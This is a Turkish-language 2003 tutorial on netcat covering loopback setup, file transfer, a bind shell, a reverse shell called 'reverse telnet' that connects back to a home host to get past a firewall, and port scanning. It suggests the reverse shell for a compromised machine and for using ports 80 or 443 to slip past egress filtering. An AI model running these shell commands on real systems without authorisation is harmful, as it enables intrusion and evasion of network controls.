

# Netcat, Telnet, Reverse Telnet, vs.

Yazan: Kivılcım Hindistan 2003

## Özet:

Bu yazıda Hobbit isimli programcı tarafından yazılmış olan NetCat programı baz alınarak çeşitli ağ bağlantıları, aktif ve pasif olarak dosya ve bilgi iletişimi üzerine bazı teknikler anlatılmaktadır.

## Giriş:

Bu yazıda Unix'in efsanevi komutlarından belki de en gençlerinden birine sistem yöneticilerinin ve hackerların daim dostu NetCat'e basitçe değinmeyi amaçladım.

Her ne kadar basitçe değinecek olsam networkle ilgilenenlerin işe yarar bir şeyler bulacağınıza inanıyorum bu yazıda. Özellikler Reverse Telnet birçok download meraklısının ilgisini çekecektir ;)

Unix'e aşina olanlar bilir. Unix'in temelinde yatan MO (Modus Operande; operasyon yöntemi) herbiri tek bir işi mükemmel yapan programcıları biraraya getirmektir. Zaman zaman Emacs gibi kazalar olsa da :p bu mantık bu güne kadar belki de Unix'in en güçlü olduğu alan olmuştur.

Her biri küçük küçük programcılar olan basit temel Unix komutları `cat, wc, yes, false, sleep` vs. genellikle bir shell ortamında (`sh, bash, tcsh` vs.) yönlendirme komutlarıyla da biraya geldiklerinde oldukça başarılı işler ortaya koyar.

En basitinden `ls -al | more` dediğinizde `ls` komutunun çıktısı takip edebileceğiniz gibi sayfa sayfa karşınıza gelir. Mesela `ls` komutu bir dizindeki dosyaları gösterirken `ls | wc -l` komutu `ls` komutunun çıktısını `wc` (wordcount) komutuna göndererek o dizinde kaç dosya olduğunu gösterir. Görüyorsunuz iki alakasız komutla `ls` komutuna yeni fonksiyonlar kazandırdık.

Birkaç kelimelik bu tür komutlarla yapabileceğiniz şeylerin ne kadar derine gidebildiğini görseniz şaşarsınız. Dahası bir shell ortamı gibi yapıştırıcı bir sahte-programlama dili ile birleştirildiğinde bu komutlar gerçekten uygulama düzeyinde işlerin altından kalkabilirler.

İşte bu Unix felsefesinden gelen temel komutların hepsi onlarca yıldır kullanılmakta ve birçok ihtiyaca cevap verebilmekte. Bu temel komutlardan biri, herne kadar ağabeyleriyle karşılaştırıldığında çok genç kalsa da, yazılım mantığı ve işlevselliği açısından onları kesinlikle aratmayan bir **NetCat**.

İsminden de anlaşılacağı gibi `cat` komutundan yola çıkarak yazılmış bir komut. `cat` komutu ise Unix'in en temel komutlarından biri. Basitçe yaptığı bir dosyayı alıp standart çıktıya yönlendirmek. Tabi Unix denince bu basit tanımlı programla bir çok şey yapabilirsiniz. Bu çıktıyı bir yazıcıya yönlendirebileceğiniz gibi bir CD yazıcıya gönderip CD basabilir (büyük ihtimalle bozuk olur ;) ya da ses kartına gönderip gürültü dinleyebilirsiniz.

Tabii başka bir programla birleştirip bu sefer söz konusu dosyayı ses kartından insan sesi ile okutturabilir, dahası bu çıkan sesi audio cd olarak da basabilirsiniz. Ve işin güzel yanı bütün bunları yukardaki örnek gibi basit birkaç komutu birleştirerek yapabilirsiniz.

Hemen bir örnek vermek gerekirse cat'in kuzeni olan zcat'i pratik olarak kullanabiliriz.

Adından da anlaşılacağı gibi zcat, cat komutunun zip algoritması ile bütünleştirilmiş halidir. Basitçe .gz uzantılı dosyaları sanki sıkıştırılmamışlar gibi çıktıya verir.

Eğer makinanızda netcat kurulu ise `usr/share/doc/netcat/README.gz` diye bir dosya olacaktır büyük ihtimalle. Normalde bu bir text dosyası olsaydı bunu kolayca less README diye açabilirdik, fakat bu sıkıştırılmış bir dosya, peki şimdi ne yapacağız. Basit:

```
zcat README.gz | less
```

README.gz dosyasını standart çıktıya gönder (açıp) ve onu da less komutuna ver, sanki bir dosyaymış gibi.

NetCat de işte bu temel Unix komutunun Network üzerinden TCP ve UDP soketlerle işleyen ve etkileşimli hali.

### **Peki ne yapar bu NetCat?**

Öncelikle NetCat en basit anlamıyla bir telnet programıdır. Bu biraz İsviçre Çakısı bir bıçaktır demeye benziyor. Temelde hemen her türlü telnet ihtiyacı için kullanılan bir telnet programı. 1996'da Hobbit tarafından yazılan bu program bütün Unix varyantlarında bulunmakla birlikte NT başta olmak üzere diğer Windows platformlarına da aktarılmıştır edilmiştir. Dahası program geliştirilip ssh bağlantısı sağlayan cryptocat de kullanılabilir.

Biz bu yazı içinde sade netcat'e bağlı kalıp örneklerimizi onun üstünde vereceğiz. Temel platform olarak Unix alınmıştır eğer başka bir platformda bunları denerseniz bilgisayarınız havaya uçabilir, kız arkadaşınız sizi terkedebilir ve belki de en kötüsü bir anda kahve bitebilir ;)

Ne yapıyorsanız kendi riskinize yapıyorsunuz, hiçbir şeyin garantisi yok; bunu hala öğrenemeyenler var o yüzden her yazıda bu satırları yazmak zorundayız :) Hayatınızı yaşayın ve öğrenin...

### **Dosya Transferi**

#### **Ön Hazırlık**

Bu yazı boyunca yapacağımız işlemler için bir ön hazırlık yapmamız lazım.

Zira yazı boyunca iki sanal makina arasındaki network bağlantısından sözedeceğiz. Bunu simüle etmek için de bazı düzenlemeler yapmamız gerekiyor. Bu makalede yazanları denemeniz için makinanızın Internet'e bağlı olması, hatta ethernet kartı olması bile gerekli değil.

Unix makinaların tcp iletişim konusunda ethernet aygıtları gibi sanal bir aygıt olan lo (loopback) aygıtları bulunmaktadır. Adresi 127.0.0.1 olan bu aygıt, makinanın kendisine işaret eder. Linux altında bunun yerine 0 da kullanabilirsiniz. İşte biz de burada vereceğimiz örnekler için bu aygıtı lo'u kullanacağız.

Fakat burda önemli nokta 127.0.0.1 adresine sahip lo aygıtına müdahale etmememiz gerektiği. Bu adresi değiştirmek bizim normal ağ bağlantılarımızı bozar. Bunun yerine lo:1 diye aynı aygıt üstünden yeni bir network aygıtı tanımlayacağız. Bu işi eth0 veya eth1 gibi bir ethernet kartı üzerinden de yapıp bir ethernet kartına birçok IP numarası atayabilirdik.

Yapacağımız işlem (tabi ki bunu root olarak yapmamız lazım)

```
ifconfig lo:1 10.0.1.1
```

```
ifconfig lo:2 10.0.1.2
```

Şimdi ise ifconfig komutu ile baktığımızda şöyle bir şeyler görmemiz lazım

```
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:146 errors:0 dropped:0 overruns:0 frame:0
TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7708 (7.5 KiB) TX bytes:7708 (7.5 KiB)
lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
lo:2 Link encap:Local Loopback
inet addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
```

Tamaam artık iki tane network aygıtımız var: lo:1 ve lo:2 bunlarla sanki bağımsız makinalarmış gibi NetCat deneyleri yapabileceğiz.

### Network Bağlantısı

-----

Dediğimiz gibi netcat en basit haliyle bir telnet istemcisi gibi kullanılabiliyor. `nc -l -p 5600` port komutu ile sözkonusu host makinasına herhangi bir açık porttan bağlanıldığında yazdığınız her şey karşı tarafa gider, karşı tarafın her tepkisi de size gelir. Bu aradaki ağ bağlantısı kesilene kadar sürer (ki bu davranış, dosya-sonu (EOF) işareti gelene kadar bağlantıyı açık tutup bu işareti alınca kesen birçok programdan farklıdır).

NetCat bir istemci olduğu gibi bir sunucudur da aynı zamanda.

Şimdi iki tane konsol açalım: Bir tanesi bizim sunucumuz olacak 5600 nolu portu dinleyecek

```
netcat -l -p 5600
```

Diğeri ise istemcimiz olacak ve bu porta bağlanacak:

```
netcat 10.0.1.1 5600
```

Şu anda ikinci konsolda yazdığınız herşey ilk konsolda tekrarlanacaktır. İlk bağlantımızı gerçekleştirdik. Biraz deneyler yapın, entera basın, backspace basın, ctrl-d, ctrl-c yapın neler olduğunu gözlemleyin.

Ctrl-C bağlantınızı kesmiş olsa gerek. Şimdi biraz daha farklı bir şey deneyeceğiz.

İlk konsolda bu sefer

```
netcat -l -p 5600 -vv
```

yazın. İkincisindeki komut yine aynı:

```
nc 10.0.1.1 5600
```

Bir farklılık gördünüz mü?

```
listening on [any] 5600 ...
10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33354
```

NetCat bu sefer size bir sürü bilgi verdi. Bunun sebebi kullandığımız -vv komutu. Bunu tek v ile kullanırsanız biraz daha az bilgi alırsınız, bazı problem çözme durumlarında çok hayat kurtarıcı olabilir bu özellik.

Bu sefer ctrl-c ile kestiğimizde ise NetCat sunucu tarafında bize ne kadar veri gönderilip ne kadar veri alındığını belirtir.

Böylece bir network aygıtından bir diğerine protokol, izin vs. derdi olmadan (firewall'lar elverdiğince) bağlandık.

Dosya Transferi

-----

NetCat'in en basit özelliklerinden biri olan bu özellik, bütün basit şeyler gibi akıllı bir kullanıcının elinde hemen her şey için kullanılabilir.

En pratik yanlarından biri mesela dosya transferi. Daha yeni kurulmuş bir makinaya dosya transferi için ftp sunucusu kurmak, kullanıcıları ayarlamak, daha da kötüsü rcp/scp gibi protokollerle uğraşmak çok başağrıtıcı olabilir. En basitinden bu komutlar makinada bulunmamaktadır bile vs.

Sadece bir netcat komutu ile bu işlemleri yapmamız mümkün.

Kullanım hala basit; sunucu tarafında:

```
nc -v -w 30 -p 5600 -l > dosyaismi.back
```

istemci tarafında ise:

```
nc -v -w 2 10.0.1.1 5600 < dosyaismi
```

Gördüğünüz gibi bir taraftan gelen dosyaismi isimli dosya diğer tarafta dosyaismi.back şeklinde

oluşturuldu. İçeriklerine bakarsanız bu iki dosyanın aynı olduğunu da görürsünüz. Tabii bu iş için bir fark olmadığını görebilmeniz açısından herhangi bir ASCII metin dosyası kullanmanızda fayda var.

Komut satırını incelediğimizde yeni argüman olarak -w komutunu görüyoruz. -w bize beklememiz için gereken süreyi verir. Sunucu tarafında bunu daha uzun tuttuk zira alıcı, dolayısıyla bir gecikmeden etkilenecek taraf orası. İstemci tarafında ise 2 sn yeterli geldi. Genelde bu süre telnet istemcilerinde 3 sn civarındadır, -w 3 kullanırsanız bu tür uygulamalarınızda pek sorunla karşılaşmazsınız.

-v komutunun yapılan işlem hakkında bilgi verdiğini zaten anlatmıştık. Bir başka önemli nokta da Unix kullanıcılarının yakından bildiği > yönlendirme işareti.

Sunucu tarafında netcat çalıştırırken > dosyaismi.back dedik, bu komutun çıktısını > dosyaismi.back dosyasına gönder anlamını taşıyordu. İstemcide kullandığımız < ise, dosyaismi isimli dosyayı komuta yönlendir anlamındaydı. Yani bunu bir boru olarak düşünersek, bir komutla borunun içinden bilgiyi çekip bir kovaya dolduruyoruz, diğeri ile de kovadan bilgiyi boruya boşaltıyoruz. Zaten bu işlemin ismi de "piping" diye geçer.

Peki bunu yaptık ama nedense iki tarafta da hataya benzer çıktılar aldık.

Sunucu:

```
10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33368
```

İstemci:

```
10.0.1.1: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.1.1] 5600 (?) open
```

Bunlar temelde Unix altındaki network komutlarının kendilerine gelen bağlantıların kaynağını kontrol etme çabasıdır. Normalde hepimiz DNS'in yaptığı işi biliriz, gelen bir alan adını bir IP numarası ile eşleştirip geriden gelen paketlere yol göstermek. Buna host lookup denir. Sunucular ise bunun tam tersini yaparlar, kendilerine gelen IP numaralı istemcileri reverse lookup ile isimlere eşlerler. Eğer bir ftp/ssh/telnet vs. sunucunuz varsa ve LAN'da olmanıza rağmen her bağlantınızda cevap vermesi bir miktar zaman alıyorsa büyük ihtimalle bu reverse lookup seçeneği açık demektir.

Burada NetCat'in -n seçeneğini kullanıp bu kontrolü devre dışı bırakacağız.

```
nc -v -w 30 -n -p 5600 -l > dosyaismi.back
```

ve

```
nc -v -w 2 -n 10.0.1.1 5600 < dosyaismi
```

Evet bakın problem yok.

Peki diyelim dosyayı sıkıştırıp göndermek istiyorsunuz, böylece aradaki transfer süresinden kazanacaksınız. Ayrıca dosyayı sıkıştırıp göndermek de size yetmiyor öteki tarafta da otomatik olarak açılmasını istiyorsunuz.

sunucu:

```
nc -v -w 30 -p 5600 -l < /dev/null | uncompress -c > dosyaismi.  
back
```

istemci:

```
compress -c < dosyaismi | nc -v -w 2 10.0.1.1 5600
```

Burada işlemi biraz daha karmaşıkleştırmış olsak da hala anlaşılabilir sınırlar içinde tuttuk. Bir tarafta compress edilen dosya diğer tarafta açılıyor. Burada belki kafanızı karıştıracak nokta /dev/null o da hata mesajlarının gözükmemesi için.

## Telnet

-----

Tamam dosya transferi gerçekleştirdik. Yaptığımız iş aslında bu tür bir çalışmada yapılacak iki temel tekniği bir araya getirmek, sunucu istemci mimarisinde bir bağlantı sağlamak. Fakat bu bağlantı sadece bir veri akışını sağlıyor, halbuki bizim tercih edeceğimiz daha işe yarar bir bağlantı belki bir telnet sunucusu gibi diğer makinada problemsizce komut çalıştırmamıza izin verecek bir bağlantı olabilirdi.

Bunun için de netcatin -e seçeneği var.

Konsol 1'de

```
netcat -l -p 5600 -e /bin/bash
```

Konsol2'de ise

```
nc 10.0.1.1 5600
```

yazdığımızda artık sanki telnetle ilk makineye bağlanmış ve "shell"e düşmüş gibiyiz. Verdiğimiz her komutun çıktısını Konsol2'de göreceğiz ve diğer makineye istediğimizi yaptırabileceğiz.

Bu yöntemin en önemli problemi bize her ne kadar kolay bir erişim sağlıyor olsa da aynı derecede ciddi bir güvenlik açığını da birlikte getiriyor olmasıdır. Port taraması yapan biri bu ardına kadar açık gediği bulursa halimiz çok kötü olabilir. Ama zaten bu tür bir hızlı-pratik bağlantı (şifre bile sormuyor ;) genelde insanın pek KENDİ makinasına yapacağı bir şey de değil ;)

## Reverse Telnet

-----

Fakat hani böyle bir program varken elimizin altında insan biraz daha yaramaz bir şeyler yapmak istiyor ne bileyim hani bir tarafta bir makina olsa, bu makina öyle kabak gibi orta yerde yer almak yerine (işe yarar bütün makinalar gibi) bir firewall arkasında olsa, dışardan erişilebilecek gerçek bir IP'si dahi olmasa. Ama biz buna erişsek, login olsak, hatta login olmadan direkt girsek sorgusuz sualsiz, sonra da istediğimiz emirleri versek bu makinada bu komutlar çalışsa, sanki bir telnet istemcisi gibi... ;)

Nasıl eğlenceli geldi mi?

Eğlenceli olduğu kadar kolay, güvenlik tarafında da paranoyak bir admin gerektirecek kadar kapanması zor bir nokta bu. Bu tür bir şeyi niye yaparsınız, işyerindeki makinanız evdeki makinanın

100 katı bant genişliğine sahiptir, gece vakti kimseler yokken download başlatmak istersiniz, veya sözkonusu makina bir başkasınıdır siz onu ele geçirmişsinizdir, fakat firewall arkasında olduğundan dolayı erişemiyorsunuzdur, bir işinize yaramıyordur.

Öncelikle şunu açıklığa kavuşturalım, firewall arkasında, gerçek IP'si bile olmayan bir makinaya telnet yapmak mümkün değildir ? Çünkü öncelikle bu makinanın bir **ADRESİ YOKTUR**. Çıkışlarını router üzerinden NAT'la yapıyordur, bu sistem bir tarafa doğru işlerken diğer tarafa doğru işlememektedir. Dahası bir IP'si bile olsa muhtemelen sistem yöneticisi 80 ve 21 gibi çok popüler ve Internet kullanıcılarına yönelik portlar dışındaki portları kapatmıştır ve sizin güzel hatırlığınız için de açmaz.

Eee, ama bunun yapılabileceğini söylemiştik. Şimdi de diyoruz ki bu şekilde TELNET yapılamaz! Burda çelişki yok, zira yapacağımız TELNET ama **REVERSE TELNET**.

Madem biz içerdeki makinaya erişemiyoruz, içerdeki makinanın bizim makinamıza erişmesini ve bizden emir beklemesini sağlayacağız bu kadar basit :)

Karışıklığa yol açmamak için şöyle bir senaryo yapalım.

evdeki makinanın ismi "ev"  
işteki makinanın ismi "iş" olsun

Diyelim ki işteki makinayı bir at job ile açık bıraktık. Bu makina saat 10:01 itibariyle:

```
nc ev.dyndns.org 1400 -e /bin/bash
```

komutunu çalıştırmak üzere hazır. Sonra eve gittik, evde saat 10:00 itibariyle

```
nc -vv -l -p 1400
```

komutunu çalıştırdık.  
Bu komut bilgisayarımıza diyor ki 1400 numaralı portu dinle.

Saat 10:01 itibariyle işteki makinan da at komutu sayesinde

```
nc ev.dyndns.org 1400 -e /bin/bash
```

komutunu çalıştırdığında işteki bilgisayar içerden dışarıya bir port sınırlaması olmayan firewalldan nazikçe süzülerek evdeki bilgisayarın kendisini beklemekte olan 1400 numaralı portuna bağlanır ve kendisinde (işte) /bin/bash komutunu çalıştırır.

NetCat'in çalışma mantığı doğrultusunda ev makinası iş makinasındaki bash komutunun çıktılarını alır, yazdığımız herşeyi de ona girdi olarak gönderir.

Konsol1'de `nc -vv -l -p 1400` çalıştırıyoruz (bu evdeki makina gibi, dinlemeye alıyoruz bunu)

Konsol2'de `nc 10.0.1.1 1400 -e /bin/bash` (bu da işteki makina)

Şimdi Konsol1'de yazdığımız her işlem aslında Konsol2'de yapılıyor oldu. Bu daha önceki Telnet

sunucu istemci örneğimize benziyor fakat orda çalışan bir komut yoktu, burada ise var ve yaptığı iş bir Telnet sunucusu ile neredeyse aynı (sağolsun bash)

Bu yöntemin güzel yanı ise bütün pasif bağlantılarda olduğu gibi güvenlik açığının minimum olması. Zira bir başkasının girebileceği bağlantı bekleyen bir port yok. İçerdeki makina sizin ona daha önceden verdiğiniz IP ile bağlantı kuruyor, sadece onun ile ve belli bir zamanda. Bu da kolay kolay müdahale edilebilecek bir şey değil. Tabi bağlantının vanilla text olduğunu gözardı eder, herhangi bir ssh wrapper kullanmazsak.

Bir dezavantajımız var sizin firewallunuz dışarı herhangibir porttan çıkmaya izin vermiyor olabilir,o yüzden port olarak 80 ya da 443 gibi bir sey kullanmak gerekebilir.

Bu arada evde dialup kullanıcısı olduğumuzu varsayarsak (en kötü ihtimal :p) ev makinasının ipsinin değişken olacağını gözönüne alıp, dynamicdns gibi bir hizmet kullanmakta fayda var<http://www.dyndns.org/>

## PortScan

-----

Birçok özelliği bünyesinde bulunduran NetCat aynı zamanda bir port tarayıcıdır da da. Çok basit olarak:

```
nc -v -w5 10.0.1.1 20-250
```

bize 20 ile 250 arasındaki portları bağlantı için 5 sn bekleyerek taramamızı sağlar.

Belli bir porta bağlanıp çıktısını (banner vs. gibi) almak içinse

```
nc -z -w10 10.0.0.1.1. 110
```

komutu işe yarar

## Ara (soluklanın biraz)

-----

NetCat gibi küçük olmasına rağmen kullanımı sonsuz bir program için "Sonsöz" söylemek çok mümkün olmasa gerek, o yüzden basitçe bir ara ile bu yazıya burada bir virgül koyuyorum. Daha sayısız özellik ile sayısız network görevini NetCat ile gerçekleştirmek mümkün. Bu konuda en güzel kaynak programın yazarı olan Hobbit tarafından yazılmış olan/usr/share/doc/netcat/README.gz ve man dosyası.

Buradaki naçizane giriş yazısı doğrultusunda deneyin ve öğrenin.

Unutmayın temelleri iyi bildiğiniz sürece sadece gökyüzü sınırınızdır.

KIVILCIM Hindistan

a.k.a. Sundance ( e-posta adresim: sundance at fazlamesai.net )

[www.fazlamesai.net/sundance/](http://www.fazlamesai.net/sundance/)

Bu yazıyı yazmam için başımın etini yiyen arkadaşım FZ'e adanmıştır



Doğal olarak dökümanın bir kopyası <http://fazlamesai.net/makale.php3?sid=1360> adresinde bulunmaktadır. ;)

### **Yasal Uyarı**

Bu belgenin  
NetCat, Reverse Telnet, vs. 0.1 sürümünün  
**tefif hakkı © 2003 Kivılcım Hindistan'a aittir.**

Bu belgeyi, Free Software Foundation tarafından yayınlanmış bulunan GNU Özgür Belgeleme Lisansının 1.1 ya da daha sonraki sürümünün koşullarına bağılı kalarak kopyalayabilir, dağıtabilir ve/veya değıştirebilirsiniz. Bu Lisansın bir kopyası <http://www.gnu.org/copyleft/fdl.html> adresinde bulabilirsiniz.

Bu belgedeki bilgilerin kullanımından doğacak sorumluluklar, ve olası zararlardan belge yazarı sorumlu tutulamaz. Bu belgedeki bilgileri uygulama sorumluluğı uygulayan aittir.

Tüm telif hakları aksi özellikle belirtilmediğı sürece sahibine aittir. Belge içinde geçen herhangi bir terim bir ticarî isim yada kuruma itibar kazandırma olarak algılanmamalıdır. Bir ürün ya da markanın kullanılmış olması ona onay verildiğı anlamında görülmemelidir.